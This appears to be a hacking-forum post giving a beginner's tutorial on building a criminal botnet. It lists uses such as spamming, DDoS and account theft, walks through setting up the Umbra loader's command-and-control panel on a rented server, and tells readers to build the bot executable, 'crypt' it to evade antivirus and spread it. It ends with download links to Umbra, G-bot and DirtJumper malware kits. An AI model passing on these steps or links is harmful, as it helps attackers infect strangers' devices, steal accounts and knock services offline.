Botnet Tutorial

[#1] - Welcome.

Hello there, im glad that u are reading this tutorial about botnets, I hope you enjoy my tutorial (My first one).

If u see any gramma Fails, Please let me know (My first language isnt English)

[#2] - What is a botnet.

In this section i will try to explain what a botnet is, And what u can do with it.

- What is a botnet.

A botnet is a network of Infected computers, It also can be Phones, iPads , And other mobile devices,

- How big are botnets

Botnets Can be very small, like 100 bots, But it also can be VERY big, then we are talking about +20K (Over a Mill can be possible to)

- What can i do with a botnet

There are a lot of things u can do with a botnet, Bellow u will see a list + explanation

identity theft (Carding): Im not going to explain this. (Saw it isnt allowed here)

Spamming: Sending Random emails to Lots of Emails at once (Can get u some big money)

DDOS: Most people use there botnet for DDOS, Will explain DDOS later.

Account Stealing: Something like Carding (Just normal accounts like emails and game accounts)

[#3] - What is DDOS and DOS.

DDOS: DDOS means Distributed denial of service, With this type of attack a Botnet will attack one target at once (Power depends on the Infected Devices)

DOS: DOS means Denial of service with this type of attack only one device will attack a target.

[#4] - How to make a botnet.

A botnet isnt hard to make, U just need the resources, That can be a VPS/Dedicated server , and Ofcourse a C&C (Control and Command System)

Download links will be at the end of this tutorial.

Now im going to explain you very fast how to setup your own botnet (Umbra loader)

#1) First u need to find a VPS/Dedicated server where you can host your botnet (I recommend you Russian, Romania or German Hosting (For small botnets a US vps will work also)

You can get a cheap VPS bellow here. <http://www.vopahost.com/self-managed-vps/>

#2) If u buy a vps with CentOS, Then u need to install a Apache server, and mysql Serve

U can do that by enter the follow commands in your CentOS Vps.

yum install httpd

yum install mysqld (Link)

yum install php (Link)

#3) After installed these things, Go to /var/www/html/ And create a folder (Do it with ftp)

Upload Umbra in that folder, then go to /YourCreatedFolder/Panel/inc/config.php and edit this to your settings.

After editing , Go to your browser, And then type in

http://YourIpOrDomain/YourCreatedFolder/Panel/install.php, And the panel will be installed.

Now u can access your Panel with the following link:

http://YourIpOrDomain/YourCreatedFolder/Panel/

Now u can build your Virus.exe, Go to the umbra folder (In your own pc) And open prjBuilder.exe

Now enter all your settings in here, And spread! (First crypt it ofc)

[#5] - Ok what now?.

Now you have your Herder panel online, And now u want to ddos right?, U can search on google for G-bot 1.7 Cracked or Dirtjumper.

Install will be the same as Umbra.

[#6] - Downloads.

Umbra 1.1.0 : <http://www.mijnbestand.nl/Bestand-SGUYCQNBYGYN.rar> (I do not own this)

G-bot 2.2 : <http://www.mijnbestand.nl/Bestand-EQJTBXMXNBO7.rar> (I do not own this)

DirtJumper V5: <http://www.mijnbestand.nl/Bestand-46NCZZGZYPFJ.rar> (I do not own this)

(Or get a Private Bot like me =D)

[#7] - The End.

Thanks for reading my first tutorial on hackforums.net

Have a good day.
